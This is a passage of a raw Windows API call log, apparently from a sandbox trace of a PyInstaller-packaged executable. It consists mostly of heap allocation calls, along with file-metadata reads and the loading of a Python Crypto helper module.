hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.137] GetCurrentThreadId () returned 0x9b0 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.137] GetCurrentThreadId () returned 0x9b0 [0076.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84d70 [0076.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84da0 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.138] GetCurrentThreadId () returned 0x9b0 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d70 | out: hHeap=0x2ad0000) returned 1 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0076.138] GetCurrentThreadId () returned 0x9b0 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.138] GetCurrentThreadId () returned 0x9b0 [0076.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f38 [0076.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f50 [0076.139] GetCurrentThreadId () returned 0x9b0 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.139] GetCurrentThreadId () returned 0x9b0 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.139] GetCurrentThreadId () returned 0x9b0 [0076.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.140] GetCurrentThreadId () returned 0x9b0 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e78, Size=0x20) returned 0x3028328 [0076.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ed8, Size=0x20) returned 0x3028350 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.140] GetCurrentThreadId () returned 0x9b0 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.140] GetCurrentThreadId () returned 0x9b0 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.140] GetCurrentThreadId () returned 0x9b0 [0076.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028350, Size=0x18) returned 0x3183860 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.141] GetCurrentThreadId () returned 0x9b0 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de778 [0076.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84e60 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e78 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84fb0 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e00 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84db8 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.142] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183be0, Size=0x14) returned 0x3183c20 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.142] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33f87d0, Size=0x941) returned 0x33f87d0 [0076.142] GetCurrentThreadId () returned 0x9b0 [0076.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f68, Size=0x20) returned 0x30284e0 [0076.143] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183c20, Size=0x10) returned 0x2c84e90 [0076.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de748 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.143] GetCurrentThreadId () returned 0x9b0 [0076.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e90, Size=0x20) returned 0x3028350 [0076.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e30, Size=0x20) returned 0x30281c0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.144] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.145] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.146] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.147] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.148] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.149] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d6668, Size=0x30) returned 0x3262ec8 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.150] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838e0, Size=0x10) returned 0x2c84cf8 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84cf8, Size=0x20) returned 0x30281c0 [0076.151] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d70, Size=0x20) returned 0x3028238 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.151] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.152] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.153] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.154] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.155] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183860, Size=0x10) returned 0x2c84fc8 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fc8, Size=0x20) returned 0x30281c0 [0076.156] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e18, Size=0x20) returned 0x3028238 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.156] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.157] GetCurrentThreadId () returned 0x9b0 [0076.158] GetCurrentThreadId () returned 0x9b0 [0076.158] GetCurrentThreadId () returned 0x9b0 [0076.159] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.159] GetFileType (hFile=0x300) returned 0x1 [0076.159] GetFileType (hFile=0x300) returned 0x1 [0076.159] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.159] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.159] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.159] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.159] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.159] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.159] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.160] CloseHandle (hObject=0x300) returned 1 [0076.160] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.160] GetFileType (hFile=0x300) returned 0x1 [0076.160] GetFileType (hFile=0x300) returned 0x1 [0076.160] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.160] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.160] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.160] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.161] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.161] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.161] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.161] CloseHandle (hObject=0x300) returned 1 [0076.161] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.162] GetFileType (hFile=0x300) returned 0x1 [0076.162] GetFileType (hFile=0x300) returned 0x1 [0076.162] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.162] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.162] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.162] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.162] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.162] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.162] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.162] CloseHandle (hObject=0x300) returned 1 [0076.162] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b99c8, lpFilePart=0x9b99c4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b99c4*="_file_system.pyc") returned 0x48 [0076.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0076.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.163] GetLastError () returned 0x0 [0076.163] GetLastError () returned 0x0 [0076.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0076.163] GetCurrentThreadId () returned 0x9b0 [0076.163] GetLastError () returned 0x0 [0076.163] GetLastError () returned 0x0 [0076.163] GetLastError () returned 0x0 [0076.163] GetLastError () returned 0x0 [0076.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847d0 | out: hHeap=0x2ad0000) returned 1 [0076.163] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Util\\_strxor.pyd") [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x3265980 [0076.210] GetCurrentThreadId () returned 0x9b0 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0500 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdc840 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84818 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849c8 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de728 [0076.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.210] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de728, Size=0x14) returned 0x3183be0 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849c8 | out: hHeap=0x2ad0000) returned 1 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84818 | out: hHeap=0x2ad0000) returned 1 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0076.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b0500 | out: hHeap=0x2ad0000) returned 1 [0076.211] GetCurrentThreadId () returned 0x9b0 [0076.211] GetLastError () 